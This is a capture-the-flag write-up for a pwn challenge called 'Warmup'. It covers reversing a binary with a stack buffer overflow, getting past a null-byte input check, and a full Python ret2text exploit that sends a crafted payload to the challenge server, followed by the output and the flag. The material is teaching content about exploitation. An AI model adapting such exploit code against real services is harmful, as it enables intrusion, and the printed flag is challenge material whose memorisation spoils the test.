Challenge Name: Warmup
Category: PWN
CTF: CyberSummit V4.0
Challenge Description: just the average PWN chall, good luck solving it
Server: nc 172.205.208.94 9001
Challenge Overview#
We are given a remote service and one handout file: main.
The description is simple:
- just the average PWN chall, good luck solving it
- nc 172.205.208.94 9001
So the workflow is straightforward: reverse the provided main, identify the bug, and craft a payload for the remote endpoint.
Initial Analysis#
Binary Information#
$ file main
main: ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped
String Analysis#
$ strings main
Welcome to the warmup challenge!
Enter your input:
Good job!
cat flag.txt
The cat flag.txt string is an immediate hint that redirecting execution back to a useful code location will likely print the flag.
Reverse Engineering#
Main Function#
Disassembly of main shows this sequence after calling vuln:
call vuln
lea rax, [rip+...] ; "cat flag.txt"
mov rdi, rax
call system@plt
The useful return target is 0x40126d, which leads into the system("cat flag.txt") path.
Vulnerable Function#
vuln allocates a buffer of 0x50 (80) bytes, then reads 0xc8 (200) bytes into it:
sub rsp, 0x50
...
read(0, buf, 0xc8)
That is a classic stack overflow.
Input Validation Logic#
There is a validation loop over min(bytes_read, 0x40) bytes:
test al, al
je continue
call exit
This means:
- If byte is
0x00, loop continues. - If byte is non-zero, program exits.
So the first 64 bytes must be null bytes.
Exploitation Strategy#
Offsets#
- Buffer size:
0x50bytes - Saved RBP:
8bytes - Offset to RIP:
0x50 + 8 = 88
Payload Plan#
- Send
64null bytes to satisfy the check. - Send
24filler bytes to reach saved RIP. - Overwrite RIP with
0x40126d.
Payload layout:
[0x00 * 64] + ["A" * 24] + [p64(0x40126d)]
Exploit Code#
The full solver used for this challenge:
#!/usr/bin/env python3
import socket
import struct
import sys
import time
HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 9001
# Jump to main+0x45: instruction sequence that calls system("cat flag.txt")
RET_TARGET = 0x40126d
OFFSET_TO_RET = 0x50 + 8
# First 64 bytes are checked and must be all zero.
payload = b"\x00" * 64
payload += b"A" * (OFFSET_TO_RET - 64)
payload += struct.pack("<Q", RET_TARGET)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
s.connect((HOST, PORT))
banner = s.recv(4096)
if banner:
print(banner.decode(errors="ignore"), end="")
s.sendall(payload)
time.sleep(0.2)
out = b""
while True:
try:
chunk = s.recv(4096)
if not chunk:
break
out += chunk
except socket.timeout:
break
s.close()
print(out.decode(errors="ignore"), end="")
Run:
python3 solve.py 172.205.208.94 9001
Remote Execution#
$ python3 solve.py 172.205.208.94 9001
Welcome to the warmup challenge!
Enter your input: Good job!
CyberTrace{W3lC0me_70_H3lL_Y0ouu_Kn0w_Wh4t_Th3y_S4y}
Final Flag#
CyberTrace{W3lC0me_70_H3lL_Y0ouu_Kn0w_Wh4t_Th3y_S4y}
Key Takeaways#
- Even simple warmup binaries can hide logic twists in validation checks.
- Here, the first 64 bytes had to be all zero, not printable.
- Partial checks are often bypassed by placing exploit data outside the validated region.
- A clean ret2text jump to an existing
system("cat flag.txt")path is enough to win.





